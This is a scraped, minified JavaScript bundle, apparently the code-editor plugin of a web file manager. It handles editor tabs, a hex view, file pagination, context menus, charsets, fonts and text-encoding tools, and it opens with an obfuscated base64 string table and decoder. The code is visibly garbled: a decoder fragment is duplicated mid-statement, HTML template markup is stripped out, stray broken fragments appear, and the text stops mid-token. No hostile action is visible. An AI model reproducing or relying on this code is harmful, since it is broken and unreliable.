wqFXwrc=","wr1Xe8OSIXQJw4E=","LcONw5jDpRliwqw=","w5l0P8KbHsOQMg==","wq3Ck1UuwpJHNMKg","wpgmWwg=","w4PCl8KPF8KF","YMKOwpDDiww=","w50LV1vChw==","XWxHUcO7","fMKNw73DlsK0","woQdwo19DA==","c8KHw77DucK5","wqpYw5E8w4k=","FFU/wo/CgQ==","TlBzfMO5","OSkaTHc=","wpFww48Ow54=","w7jChMKhw5t2","e3tAw43CmQ==","w419wrPDsCY=","wpDChEwawpA=","w5vCjMKOFsKI","wqnCo00Mwp8=","w53Cr8K8AcKy","woXCv8KJQ8Op","eMKCw4TDuMKz","G8OOwqlGOQ==","Y8OeRcO5FQ==","OxPCuBfClg==","woFQw7UTw5fCoFR3w4Ns","cm1Ew4w=","FSvCmC/CgCHDgMKZ","woJCWsOWFg==","cMOdwpPDgws=","w7hFdSXDpg==","fVFRX8Ox","woAowofChSE=","w7/CoMKEw5VC","wrzCp1l9wq0=","wrFfPSQ8w6c6JxYtMljDpg==","w64/PsOcVQ==","VFRxw6XCqg==","w69OOMKZAw==","w6rCn8KLP8KUSw==","w6AoAsO2Yw==","FFADwp3Cpw==","wqI+wqDCqRI=","DAPCmyvCtQ==","woI/woE=","w77CnmHCs8Ox","LnzDkMKmwq0=","w47CjlPChsOD","w5w/JMO/","w4o8dULChw==","R8OjBnkiccO3wrgGJ8K3w7hCR8KWw6DCpMKvDk0=","bMK+wrjDhDc=","w6cdw4Rbw6Imw6QWw6/CisKm","w55zNcKfHMOGMw==","wrJBcMOXJg==","w4JFdhLDiA==","w4Q3bHfCvg==","wpgiTAZQfg==","EMOobcKww6o=","wrcvwobCnT0=","O2o2wqHCrg==","O8OQwql+LA==","wrpFfMOmNQ==","w4vCucOs","w5HCrMKPw75Vw7Yrwpk=","dMOELwtU","wq1Ge8OXNw==","w7t4wonDmQ0=","RMOnMGUU","XsOwJR1d","wp9SRcO9Mg==","YW1Lw5HCmQ==","UMKGw4jDlcKcBA==","wq9Ww4Z3wrU=","wrxNw4VTwpU=","wpbCicKUd8OU","w5w6ZVPDkg==","f1HDpcK5Hg==","w4osbWLDssK1w5o=","H2HDv8K1wpk=","w6QJw5Vow4s=","QsOiE2oJ","wqpbw7cVaA==","w4wjN8O1S8Ky","M3/DtcKiwoY=","wqXDvsKYB8Ow","w5ZdXgXDvg==","w4ZQTibDnA==","U8KGw58=","wrw1wofCkBg=","EcOiw6/DnC0=","dsKDw6UHMQ==","wrFMNCkqw6McIA==","CMO9woxX","UUfDu8KuD8KNTnrDjV8=","XcOiWsOpKQ==","wqPDlcK6w4VcK0sgwp55YsOX","LMOxwqd+Bg==","ScKVwpDDjhpTwp3DjA==","w4zCjEXCng==","fMOebcOHJg==","w5smdGnDusKiw43CrX4kwo3DjMOdccKodMK8b8OA","Q8Kawp3Dgng=","wqEwwr3CoDw=","wrPCgk4fwog=","fUJ6WMOX","w5DCqsOgwpV7","wpMObSVW","fcKDwp7DpW8=","cMOmwr3DpQw=","wql7w5ILVg==","w6TDqcK4X8KF","U8KnwqFZwqhj","wos5wrpICA==","w4VswrfDiT8=","P3g/wrXCuA==","NFAUwrbCpQ==","w6dKwpLDmgY=","wqpMeMO1Mw==","wqt7OiEP","wopQw70GXQ==","wrdMAS0c","w7JrwqzDsjs=","XMORADJS","w5ttWCvDjw==","wrsITipk","D8ObwqpcLw==","wpsjwqxoDw==","w4vCjFLCl8OuwqPCmlo5ZyodF2QLw50=","wqjCllJTwr0=","UMKaw4EkAw==","AyLCkAzClw==","wqHCkFwFwpt6P8K0w63DumdBw7/Ct8O1Bg==","w6XDnsK2WsKVwpzChcOlw5PChysXw5rCrMK9XQ==","wotCw4NWwqY=","d8KTwpXDnxg=","w7Y+w7h5w4M=","wqZ+w5g+w63Ct2NUw7lbw4LDqkEnwqRs","w7UYw5ddw6kxw5Q=","w6nDncK/ccKcwqHCjsOx","wpTDv8KAw5RqFXsMwqhI"];n=o,function a(e){for(;--e;)n["push"](n["shift"]())}(150);var f=function f(e,t){var i,n=o[e-=0];if(f["oyXIzP"]===undefined){(i=function r(){var e;try{e=Function('return (function() {}.constructor("return this")( ));')()}catch(t){e=window}return e}())["atob"]||(i["atob"]=function(e){for(var t,i,n=String(e)["replace"](/=+$/,""),a=0,r=0,o="";i=n["charAt"](r++);~i&&(t=a%4?64*t+i:i,a++%4)&&(o+=String["fromCharCode"](255&t>>(-2*a&6))))i="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="["indexOf"](i);return o});var h=function h(e,t){for(var i,n=[],a=0,r="",o="",s=0,l=(e=atob(e))["length"];s>(-2*a&6))))i="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="["indexOf"](i);return o});var h=function h(e,t){for(var i,n=[],a=0,r="",o="",s=0,l=(e=atob(e))["length"];s
    '):(i+=' '),i+=' ',i+=n(e.title),i+=" "}),i+=" ";for(o=0;o<10;o++)i+='
    ';i+='
    '):(i+=' '),i+=' ',i+=n(e.title),i+=" "}),i+=" ";for(o=0;o<10;o++)i+='
    ';return i+='
    "}},function(n,e,t){"use strict";(function(e){var t="undefined"!=typeof self?self:"undefined"!=typeof window?window:void 0!==e?e:{},i=Object.create(t),l=/["&'<>]/;i.$escape=function(e){return function s(e){var t=""+e,i=l.exec(t);if(!i)return e;var n="",a=void 0,r=void 0,o=void 0;for(a=i.index,r=0;a',LNG["admin.menu.plugin"])}else Tips.tips(LNG["explorer.noPermissionAction"],"warning",2500)}o.close()})}})},function(e,t,i){"use strict";var r=i(0);e.exports=function(e){e=e||{};var t="",i=r.$escape,n=e.LNG,a=e.tips;return t+='
    ',t+=i(n["explorer.unknowFileTips"]),t+="
    ",t+=i(a),t+='
    1. ',t+=i(n["explorer.unknowFileTry"]),t+=' ',t+=i(n["explorer.openWith"]),t+='
    2. ',t+=i(n["explorer.unknowFileTry"]),t+=' ',t+=i(n["explorer.openWithAce"]),t+='
    3. ',t+=i(n["explorer.unknowFileTry"]),t+=' ',t+=i(n["explorer.unknowFileDown"]),t+='
    ',t+=i(n["admin.plugin.center"]),t+=" ",t+=i(n["explorer.appSearch"]),t+="
    "}},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var n=function a(e){return e&&e.__esModule?e:{"default":e}}(i(177));t["default"]=ClassBase.extend({"extSupport":"\n\t4th,a,abap,abc,ada,adb,adoc,ahk,alda,apex,apl,aql,as,asc,asciidoc,asl,asm,asn,asn1,asp,aspx,atom,aw,b,bash,bashrc,bat,bf,bib,blade.php,bro,build,bzl,c,c9search_results,cabal,cakefile,cbl,cc,cf,cfg,cfm,cirru,cl,clj,cljc,cljs,cljx,cls,cmake,cmake.in,cmd,cob,coffee,component,conf,cpp,cpy,cql,cr,cs,csd,cshtml,cson,css,ctp,curly,cxx,cyp,cypher,d,dart,def,di,diff,dockerfile,dot,drl,dsl,dtd,dyalog,dyl,dylan,e,ecl,edi,edn,eex,ejs,el,elm,epp,erb,erl,ex,exs,f,f77,f90,f95,factor,feature,for,forth,frag,frt,fs,fsi,fsl,fsscript,fsx,fth,ftl,fun,gbs,gcode,ge,gemfile,gemspec,gitignore,glsl,go,gql,gradle,groovy,gss,guardfile,gunmakefile,h,haml,handlebars,hbs,hh,hjson,hpp,hrl,hs,htaccess,htgroups,htm,html,html.eex,html.erb,htpasswd,hx,hxml,hxx,in,inc,ini,ino,intr,io,j2,jack,jade,java,jinja,jinja2,jl,jq,js,jsm,json,json5,jsonld,jsp,jssm,jssm_state,jsx,ksh,kt,kts,latex,latte,ldr,less,lhs,liquid,lisp,list,log,logic,lp,lql,ls,lsl,ltx,lua,lucene,m,make,makefile,map,markdown,mask,mathml,matlab,mbox,mc,md,mediawiki,mel,mixal,mkd,ml,mli,mll,mly,mm,mml,mo,module,mps,msc,mscgen,mscin,msgenny,mush,mustache,mysql,mz,nb,nginx,nim,nix,nj,njk,nq,nsh,nsi,nt,nunjs,nunjucks,nut,oak,ocamlmakefile,orc,oz,p,p6,page,pas,patch,pgp,pgsql,php,php3,php4,php5,php7,phps,phpt,phtml,pig,pl,pl6,plg,pls,pm,pm6,pp,praat,praatscript,prefs,prisma,pro,proc,prolog,properties,proto,ps1,psc,psd1,psm1,pug,pxd,pxi,py,pyw,pyx,q,qml,r,rake,rakefile,raku,rakumod,rakutest,rb,rd,rdf,red,reds,rhtml,rkt,rq,rs,rss,rst,ru,s,sas,sass,sbt,scad,scala,scheme,scm,sco,scss,sh,shtml,sieve,sig,siv,sjs,skim,slim,sm,smackspec,smarty,smithy,sml,snippets,soy,space,sparql,spec,sql,sqlserver,ss,st,str,styl,stylus,sv,svg,svh,swift,swig,tcl,terragrunt,tex,text,textile,tf,tfvars,tgr,toml,tpl,trigger,ts,tsx,ttcn,ttcn3,ttcnpp,ttl,twig,txt,typescript,v,vala,vb,vbs,vert,vfp,vh,vhd,vhdl,vm,vtl,vue,wast,wat,we,webidl,wiki,wl,wlk,wls,wpgm,wpy,wsdl,wtest,xaml,xbl,xhtml,xml,xq,xquery,xsd,xsl,xslt,xu,xul,xy,yaml,yml,ys,z80,zeek,\n\n\toexe,csv,tsv,lnk,url,webloc,meta,inf,dummy,hta,cgi,lean,hlean,ji,\n\treadme,changes,changelog,version,license,bash_logout,bash_profile,\n\tvbproj,storyboard,vcproj,vcxproj,pbxproj,csproj,xib,strings,jshintrc,\n\tsublime-project,plistpch,localized,local,xcscheme,manifest,\n\tgitmodules,webapp,npmignore,babelrc,editorconfig,prettierrc,\n\tvtt,filters,cer,reg,config,pem,srt,ass,lrc,opf,ncx,\n\tclasspath,mymetadata,jsdtscope,project,tern-project,tld,iml,sln,\n\tgitattributes,mf,name,container,lock,applescript,mvnw,apple-app-site-association,\n\tmagnet,sample,example,http,puml,plantuml,plist","init":function(){this.parent.add({"name":"aceEditor","title":LNG["admin.plugin.defaultAceEditor"],"sort":5,"ext":this.extSupport,"icon":STATIC_PATH+"images/file_icon/icon_app/ace.png","callback":_.bind(this.fileOpen,this)})},"fileOpen":function(e,t,i){this.editor||(this.editor=new n["default"]({"parent":this})),this.editor.fileOpen(e,t,i)}})},function(t,i,n){var a=function(){return this}()||Function("return this")(),r=a.regeneratorRuntime&&0<=Object.getOwnPropertyNames(a).indexOf("regeneratorRuntime"),o=r&&a.regeneratorRuntime;if(a.regeneratorRuntime=undefined,t.exports=n(292),r)a.regeneratorRuntime=o;else try{delete a.regeneratorRuntime}catch(e){a.regeneratorRuntime=undefined}},function(L,e){!function(e){"use strict";var l,t=Object.prototype,c=t.hasOwnProperty,i="function"==typeof Symbol?Symbol:{},a=i.iterator||"@@iterator",n=i.asyncIterator||"@@asyncIterator",r=i.toStringTag||"@@toStringTag",o="object"==typeof L,s=e.regeneratorRuntime;if(s)o&&(L.exports=s);else{(s=e.regeneratorRuntime=o?L.exports:{}).wrap=g;var d="suspendedStart",h="suspendedYield",u="executing",f="completed",p={},w={};w[a]=function(){return this};var m=Object.getPrototypeOf,x=m&&m(m(A([])));x&&x!==t&&c.call(x,a)&&(w=x);var v=y.prototype=C.prototype=Object.create(w);D.prototype=v.constructor=y,y.constructor=D,y[r]=D.displayName="GeneratorFunction",s.isGeneratorFunction=function(e){var t="function"==typeof e&&e.constructor;return!!t&&(t===D||"GeneratorFunction"===(t.displayName||t.name))},s.mark=function(e){return Object.setPrototypeOf?Object.setPrototypeOf(e,y):(e.__proto__=y,r in e||(e[r]="GeneratorFunction")),e.prototype=Object.create(v),e},s.awrap=function(e){return{"__await":e}},k(O.prototype),O.prototype[n]=function(){return this},s.AsyncIterator=O,s.async=function(e,t,i,n){var a=new O(g(e,t,i,n));return s.isGeneratorFunction(t)?a:a.next().then(function(e){return e.done?e.value:a.next()})},k(v),v[r]="Generator",v[a]=function(){return this},v.toString=function(){return"[object Generator]"},s.keys=function(t){var i=[];for(var e in t)i.push(e);return i.reverse(),function n(){for(;i.length;){var e=i.pop();if(e in t)return n.value=e,n.done=!1,n}return n.done=!0,n}},s.values=A,_.prototype={"constructor":_,"reset":function(e){if(this.prev=0,this.next=0,this.sent=this._sent=l,this.done=!1,this.delegate=null,this.method="next",this.arg=l,this.tryEntries.forEach(T),!e)for(var t in this)"t"===t.charAt(0)&&c.call(this,t)&&!isNaN(+t.slice(1))&&(this[t]=l)},"stop":function(){this.done=!0;var e=this.tryEntries[0].completion;if("throw"===e.type)throw e.arg;return this.rval},"dispatchException":function(i){if(this.done)throw i;var n=this;function e(e,t){return r.type="throw",r.arg=i,n.next=e,t&&(n.method="next",n.arg=l),!!t}for(var t=this.tryEntries.length-1;0<=t;--t){var a=this.tryEntries[t],r=a.completion;if("root"===a.tryLoc)return e("end");if(a.tryLoc<=this.prev){var o=c.call(a,"catchLoc"),s=c.call(a,"finallyLoc");if(o&&s){if(this.prev"+e.kod.name+"
    "+LNG["explorer.ifSaveFile"]+"
    ","padding":40,"button":[{"name":LNG["common.save"],"focus":!0,"callback":_.bind(a,this)},{"name":LNG["common.notSave"],"callback":_.bind(n,this)}]})},"closeTab":function(t,i){t&&this.trigger("editor.tab.close",t);try{t&&editor.container&&editor.destroy()}catch(e){}delete this.editorMain.editorList[i];var n=this.$(".edit-tab .tab.edit-tab-menu"),a=this.$(".edit-body .edit-content"),r=n.filter(".tab-"+i),o=n.index(r);if(this.resetWidth("remove",r),a.filter("#"+i).parent().remove(),r.hasClass("this")){var s=(n=this.$(".edit-tab .tab.edit-tab-menu")).eq(o);0==s.length&&(s=n.last()),(i=s.attr("uuid"))&&this.select(i),this.tabNumChanged()}},"tabNumChanged":function(){var e=this.editorMain.current(),t=this.$(".disable-mask"),i=this.$(".bottom-toolbar,.page-list"),n=this.$(".edit-body .tabs");e?(t.addClass("hidden"),n.removeClass("hidden"),i.removeClass("hidden")):(t.removeClass("hidden"),n.addClass("hidden"),i.addClass("hidden"),this.fileTitleChange()),this.trigger("editor.tab.change")},"resetWidth":function(e,t){"remove"==e&&t.removeClass("edit-tab-menu");var i=150,n=this.$(".edit-tab .tab.edit-tab-menu"),a=this.$(".edit-tab .tabs").innerWidth(),r=this.$(".edit-tab .add").outerWidth()+10,o=n.length;switch(Math.floor((a-r)/151)c?this.change("left",l,n):this.tabLeftNow0){escape("+");};}})(),"closeWindowCheck":function(){if(this.checkFileNotSave()){var e=this.parent.dialog;return e.zIndex().display(!0),e.$main.removeClass("hidden").flash(),LNG["explorer.ifSaveFileTips"]}return undefined},"closeDialogCheck":function(){if(this.checkFileNotSave()){var e=this.parent;return $.dialog.confirm(LNG["explorer.ifSaveFileTips"],function(){e.dialog.config.closeBefore=!1,e.dialog.close()},function(){}),!1}}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0}),t["default"]=ClassBase.extend({"storeValueKey":"editor.pageNume","init":function(){this.listenTo(this.parent.tab,{"editor.tab.reset":this.pageLoad,"editor.tab.select":this.pageLoad}),this.listenTo(this.parent,"editor.fileGet.before",function(e){var t=this.parent.current(),i=this.storeValue();e.page=_.get(t,"kod.pageInfo.page","1"),e.pageNum=_.get(t,"kod.pageInfo.pageNum",i)})},"storeValue":function(e){return _.isUndefined(e)?LocalData.get(this.storeValueKey,512e3):LocalData.set(this.storeValueKey,e)},"pageLoad":function(i){var n=this,e=this.$(".page-list"),a={"100KB":102400,"200KB":204800,"500KB":512e3,"1MB":1048576,"2MB":2097152,"5MB":5242880},t=_.get(i,"kod.pageInfo");if(!t||t.totalNum<=204800&&t.pageTotal<2)return e.html("").addClass("hidden");e.removeClass("hidden"),e.pageBox({"totalNum":t.totalNum,"pageTotal":t.pageTotal,"pageShow":1,"pageCurrent":t.page,"pageSize":pathTools.fileSize(t.pageNum,0),"pageSizeArray":_.keys(a),"text":{"pageSize":" "},"pageInfoShow":function(e){var t=pathTools.fileSize(e.totalNum);return e.pageTotal<=1?''+t+"":"/ "+e.pageTotal+' ('+t+")"},"callback":function(e,t){i.kod.pageInfo.page=e,i.kod.pageInfo.pageNum=a[t],n.storeValue(a[t]),n.parent.refresh()}})}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var c=n(i(297)),d=n(i(20));function n(e){return e&&e.__esModule?e:{"default":e}}t["default"]=ClassBase.extend({"init":function(e){this.editor=e.editor,this.editorMain=e.editorMain,this.$el=$(this.editor.container),this.bindEvent(),this.bindMenu(),this.changeInfo=_.debounce(_.bind(this.changeInfo,this),20)},"bindEvent":function(){var t=this,i=function i(){t.editor.hextStatus&&requestAnimationFrame(function(){t.selectChange(t.editor)})},n=!0;this.editor.setOption("enableMultiselect",0),this._delay(function(){this.editor.setOption("enableMultiselect",1)},10),this.editor.on("mousedown",function(e){t.editor.hextStatus&&1==e.domEvent.which&&(e.altKey=1)}),this.$el.bind("mouseup",function(e){t.editor.hextStatus&&1==e.which&&i()}),this.editor.on("changeSelection",i),this.listenTo(this.editorMain,"editor.valueSet",function(e){e.editor==this.editor&&(n&&this.support(e.value)&&(this.editor.hextStatus=!0,n=!1),this.editor.hextStatus&&(e.isRendered=!0,t.showHexView(e.value)))});var a=!1;this.editor.getSession().on("changeScrollLeft",function(e){(a=a||t.$(".ace-hex-title")).css({"left":parseInt(-e)+"px"})})},"support":function(e){var t=_.get(window,"kodApp.appList.aceEditor.extArr")||["txt","log","html","js","css","php"],i=_.get(this.editor,"kod.ext","txt"),n=-1!=e.indexOf("\0");return!_.includes(t,i)&&n},"showHexView":function(e){this.editor._beforeValueSet=!0,this.editor._beforeValue=e,this.display(!0),this.editor._beforeValueSet=!1},"display":function(e){var t=this,i=this.editor,n=i.getSession(),a=$(i.container);if(e&&(i._beforeMode||this.initViewBefore(a),i._beforeReadOnly=i.$readOnly,i._beforeMode=n.$modeId,i._beforeWrapMode=n.$useWrapMode,i._beforeShowInvisibles=i.getShowInvisibles(),i._beforeValueSet||(i._beforeValue=i.getValue())),i.hextStatus=e,i.renderer.setShowGutter(!e),e){var r=this.$(".tab-"+_.get(i,"kod.uuid"));r.addClass("loading"),n.setUseWrapMode(0),n.setMode("ace/mode/text"),a.addClass("ace-view-hex"),i.setReadOnly(!0),i.setShowInvisibles(!1),i.renderer.setShowGutter(!1),this.convertToHext(i,function(e){i._beforeValueBytes=e.bytes,t.setValue(i,e.value),r.removeClass("loading")})}else n.setMode(i._beforeMode),n.setUseWrapMode(i._beforeWrapMode),a.removeClass("ace-view-hex"),i.setReadOnly(i._beforeReadOnly),i.setShowInvisibles(i._beforeShowInvisibles),i.renderer.setShowGutter(!0),t.setValue(i,i._beforeValue),this.clearMarker()},"bindMenu":function(){var t=this.editorMain,e=t.$(".context-menu-list.menu-view-setting").data("contextMenu");if(e&&!t.$(".context-menu-item.menu-view-hex").exists()){var i={"name":"HEX view","icon":"ri-terminal-box-fill","callback":function(){var e=t.current();e.previewHex.display(!e.hextStatus)}};$.contextMenu.menuAdd({"menu-view-hex":i},e,"open-browser")}},"initViewBefore":function(e){var t=this,i=e.find(".ace_content");$('
    \n\t\t\t
    \n\t\t\t\tchar:\n\t\t\t\t\n\t\t\t
    \n\t\t\t
    \n\t\t\t\tcode:\n\t\t\t\t\n\t\t\t
    \n\t\t\t
    \n\t\t\t\tbit:\n\t\t\t\t\n\t\t\t
    \n\t\t\t
    \n\t\t\t\tindex:\n\t\t\t\t\n\t\t\t
    \n\t\t\t
    \n\t\t
    \n\t\t').appendTo(i);var n=" 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F TEXT";n=n.replace(/ /g," "),$('
    '+n+"
    ").appendTo(e),$('
    ').appendTo(i),$('
    ').appendTo(i),e.find(".close-view").bind("click",function(e){t.display(!1)})},"makeRange":function(e){var t=e.start.column,i=e.end.column;if(e.isMultiLine())return!1;if(i<11)return!1;t<59&&61
    \n\t\t\t\t
    ').appendTo(this.$el),this.$menuAt=this.$(".rightmenu-content-list"),this.$menuTarget=this.$(".rightmenu-target"),this.$el.attr("id")||this.$el.attr("id",UUID()));var n=this.$el.attr("id");$('').appendTo(this.$menuTarget),i=i||_.bind(this.parent.doAction,this.parent),$.contextMenu({"zIndex":9999,"selector":"#"+n+" ."+e,"callback":i,"className":e+" animated fadeIn","appendTo":this.$menuAt,"items":t})},"onRemove":function(){$(this.$menuAt).children().each(function(){var e=$(this).data("contextMenu");e&&$.contextMenu("destroy",e.selector),$(this).remove()})},"menuPosition":function(e,t){var i=t.parent(),n=t.offset(),a=t.outerWidth(),r=t.outerHeight();i.hasClass("top-toolbar")?e.css({"left":n.left+1,"top":n.top+r-1}):i.hasClass("bottom-toolbar")&&e.css({"left":n.left-e.outerWidth()+a,"top":n.top-e.outerHeight()}),1<=e.find("input").length&&this._delay(function(){e.find("input").val("").trigger("changeValue").focus()},100)},"tabSizeMenu":function(){this.menuMake("menu-tab-size",{"soft-tab":{"name":"Soft Tabs (spaces)","className":"soft-tab"},"sep1":"---------","tab-size-2":{"name":"Tab with:2","className":"tab-size-set tab-size-2"},"tab-size-3":{"name":"Tab with:3","className":"tab-size-set tab-size-3"},"tab-size-4":{"name":"Tab with:4","className":"tab-size-set tab-size-4"},"tab-size-8":{"name":"Tab with:8","className":"tab-size-set tab-size-8"},"sep2":"---------","convert-to-space":{"name":"Convert To Space","className":"convert-to-space"},"convert-to-tab":{"name":"Convert To Tabs","className":"convert-to-tab"}});var t=this;this.$(".context-menu-item.tab-size-set").click(function(){var e=$(this).attr("item-key").replace("tab-size-","");t.toolbar.doAction("tabSize",e)})},"gotoLineMenu":function(){var e={"gotoline":{"name":LNG["explorer.goTo"],"className":"disable-ripple not-hover","type":"text"}};this.menuMake("menu-view-goto-line",e);var i=this,n=function n(e){var t=i.editorMain.current();t.blur(),$.contextMenu.hidden(),_.delay(_.bind(i.editorMain.focus,t),10)};this.$(".menu-view-goto-line input").keyup(function(e){if("Escape"==e.key)return n(e);var t=parseInt($(this).val());isNaN(t)||i.editorMain.current().gotoLine(t)}).keyEnter(n)},"codeThemeMenu":function(){var e=G.system.all.codeTheme.split(","),i={};_.each(e,function(e){var t={"name":e,"className":"set-code-theme-"+e};"ambiance"==e&&(t.className+=" line-top"),i["set-code-theme-"+e]=t}),this.menuMake("menu-view-theme",i);var n=this,a=function a(e,t){t?n.toolbar.doAction("theme",e):n.codeThemeSet(e)};this.$(".menu-view-theme .context-menu-item").mouseenter(function(){var e=$(this).find("span").html();a(e),$(this).one("click",function(){a(e,!0)})}).mouseleave(function(e){a()}),a()},"codeThemeSet":function(e){e=e||this.editorMain.editorConfig.theme;var t=this.editorMain.current()||!1;t&&t.setTheme("ace/theme/"+e);var i="code-theme-black",n=this.$el.parents(".frame-main-editor").add(this.$el);this.editorMain.isBlackTheme(e)?n.addClass(i):n.removeClass(i)},"fontSizeMenu":function(){var t={};_.each([12,13,14,15,16,18,20,22,24,26,28,32],function(e){t["set-code-font-"+e]={"name":e+"px","className":"set-code-font-"+e}}),this.menuMake("menu-view-font",t);var i=this;this.$(".menu-view-font .context-menu-item").mouseenter(function(){var e=$(this).text();i.editorMain.current().setFontSize(e),$(this).one("click",function(){i.toolbar.doAction("fontSize",e)})}).mouseleave(function(){var e=i.editorMain.editorConfig.fontSize;i.editorMain.current().setFontSize(e)})},"menuSelectStatus":function(){var e=this.parent.parent,t=e.editorConfig,i=e.current();if(i){var n={"functionList":"function-list","autoComplete":"auto-complete","autoWrap":"auto-wrap","autoSave":"auto-save","displayChar":"display-char","softTab":"soft-tab","showGutter":"show-gutter"},a=this.$el;for(var r in a.find(".context-menu-root .context-menu-item").removeClass("selected"),n)"1"==t[r]&&a.find(".context-menu-root ."+n[r]).addClass("selected");a.find(".set-code-theme-"+t.theme).addClass("selected"),a.find(".set-code-font-"+parseInt(t.fontSize)).addClass("selected"),a.find(".tab-size-"+t.tabSize).addClass("selected"),a.find(".keyboard-type-"+t.keyboardType).addClass("selected");var o=replaceAll(t.fontFamily," ","-");a.find(".set-font-family-"+o).addClass("selected");var s=i.kod.charset&&i.kod.charset.toUpperCase(),l=a.find(".context-menu-root.menu-view-file-charset");l.find(".set-charset-"+s).addClass("selected"),l.find(".save-charset-"+s).addClass("selected");var c=ace.aceModeList.modesByName[i.kod.mode].caption;a.find(".set-code-mode-"+i.kod.mode).addClass("selected"),a.find(".bottom-toolbar .file-mode").html(c),a.find(".bottom-toolbar .config-tab").html("Tabs:"+t.tabSize),a.find(".toolbar-menu.menu-view-file-charset").html(s)}}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0}),t["default"]=ClassBase.extend({"init":function(){this.editorMain=this.parent.editorMain,this.bindMenu()},"bindMenu":function(){var e={"charset-save":{"name":LNG["common.charset.convertSave"],"icon":"flag","className":"code-charset-list","accesskey":"s","items":this.itemMake("save-charset")},"sep001":"----"};e=_.extend(e,this.itemMake("set-charset")),this.parent.menuMake("menu-view-file-charset",e,_.bind(this.changeCallback,this))},"changeCallback":function(e,t){var i=this.editorMain,n=i.current();if(0===e.indexOf("set-charset-")){var a=e.replace("set-charset-","");n.kod.charset=a,i.refresh(n)}if(0===e.indexOf("save-charset-")){a=e.replace("save-charset-","");n.kod.charsetSave=a,n.kod.charset=a,i.fileSave(n,function(){i.refresh(n)}),this.editorMain.trigger("editor.optionChange",n,"charset",a)}},"itemMake":function(e){for(var t={},i=this.charsetList(),n=0;nF5","icon":"ri-refresh-line","accesskey":"e"},"sep1":"---------","tab-close":{"name":LNG["common.close"],"icon":"ri-close-circle-line","accesskey":"d"},"tab-close-others":{"name":LNG["explorer.editor.closeOthers"],"icon":"ri-close-circle-fill","accesskey":"o"},"sep2":"--------","tab-close-left":{"name":LNG["explorer.editor.closeLeft"],"icon":"ri-close-line","accesskey":"l"},"tab-close-right":{"name":LNG["explorer.editor.closeRight"],"icon":"ri-close-line","accesskey":"r"},"sep3":"--------","tab-open-browser":{"name":LNG["explorer.openIE"],"icon":"ri-external-link-line","accesskey":"b"},"tab-open-the-path":{"name":LNG["explorer.openPath"],"icon":"ri-folder-fill-3","accesskey":"n"}},_.bind(this.menuCallback,this))},"menuCallback":function(e,t){var i=this.editorMain,n=t.$trigger,a=n.attr("uuid"),r=i.editorList[a]||!1,o=this.$(".edit-tab .tabs .tab");switch(e){case"tab-refresh":i.refresh(r);break;case"tab-close":i.tab.close(a);break;case"tab-close-others":o.not(n).each(function(){var e=$(this).attr("uuid");i.tab.close(e)});break;case"tab-close-left":var s=o.index(n);this.$(".edit-tab .tabs .tab:lt("+s+")").each(function(){var e=$(this).attr("uuid");i.tab.close(e)});break;case"tab-close-right":s=o.index(n);this.$(".edit-tab .tabs .tab:gt("+s+")").each(function(){var e=$(this).attr("uuid");i.tab.close(e)});break;case"tab-open-browser":if(!r.kod.path)return Tips.tips(LNG["common.notExists"],"warning");var l=this.pathModel.fileView(r.kod.path);window.open(l);break;case"tab-open-the-path":if(!r.kod.path)return Tips.tips(LNG["common.notExists"],"warning");var c=this.root.pathAction||kodApp.pathAction;c&&c.openFatherSelect(r.kod.path);break;case"tab-preview":r.preview&&r.preview.open()}}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0}),t["default"]=ClassBase.extend({"init":function(){this.editorMain=this.parent.editorMain,this.bindMenu(),this.fontFamilyHover()},"fontFamily":function(){var e=G.system.all.codeFont.split(","),i={};return _.each(e,function(e){var t=replaceAll(e," ","-");i["set-font-family-"+t]={"name":e,"className":"set-font-family-"+t}}),i},"fontFamilyHover":function(){var t=this;this.$(".code-font-family-list .context-menu-item").mouseenter(function(){var e=$(this).find("span").html();t.editorMain.fontFamilySet(e),$(this).one("click",function(){t.parent.toolbar.doAction("fontFamily",e)})}).mouseleave(function(){t.editorMain.fontFamilySet()})},"bindMenu":function(){var e=this.fontFamily(),t={"name":LNG["explorer.editor.textParse"],"icon":"ri-strikethrough","className":"text-parse","items":{"convert-upper":{"name":LNG["explorer.editor.convertUpperCase"]+"Ctrl+U","icon":"ri-arrow-up-line"},"convert-lower":{"name":LNG["explorer.editor.convertLowerCase"]+"Ctrl+O","icon":"ri-arrow-down-line"},"sep12":"---------","timeShow":{"name":LNG["explorer.editor.timeShow"],"icon":"ri-time-fill"},"timeInt":{"name":LNG["explorer.editor.timeInt"],"icon":"ri-time-line"},"sep14":"---------","chinese-traditional":{"name":LNG["explorer.editor.chineseTraditional"],"icon":"ri-arrow-up-line"},"chinese-simple":{"name":LNG["explorer.editor.chineseSimple"],"icon":"ri-arrow-down-line"},"sep18":"---------","line-removeEmpty":{"name":LNG["explorer.editor.lineRemoveEmpty"],"icon":"ri-delete-row"},"line-union":{"name":LNG["explorer.editor.lineUnoin"],"icon":"ri-delete-column"},"line-trim":{"name":LNG["explorer.editor.lineTrim"],"icon":"ri-space"},"line-sort":{"name":LNG["explorer.editor.lineSort"],"icon":"ri-sort-asc"},"line-reverse":{"name":LNG["explorer.editor.lineReverse"],"icon":"ri-arrow-up-down-line"},"sep19":"---------","line-sum":{"name":LNG["explorer.editor.lineSum"],"icon":"ri-calculator-line"},"line-average":{"name":LNG["explorer.editor.lineAverage"],"icon":"ri-calculator-line"}}},i={"name":LNG["explorer.editor.textEncode"],"icon":"ri-lock-password-line","className":"text-encode","items":{"url-encode":{"name":LNG["explorer.editor.urlEncode"],"icon":"ri-lock-fill"},"url-decode":{"name":LNG["explorer.editor.urlDecode"],"icon":"ri-lock-unlock-line"},"sep13":"---------","base64-encode":{"name":LNG["explorer.editor.base64Encode"],"icon":"ri-lock-fill"},"base64-decode":{"name":LNG["explorer.editor.base64Decode"],"icon":"ri-lock-unlock-line"},"sep15":"---------","unicode-encode":{"name":LNG["explorer.editor.unicodeEncode"],"icon":"ri-lock-line"},"unicode-decode":{"name":LNG["explorer.editor.unicodeDecode"],"icon":"ri-lock-unlock-li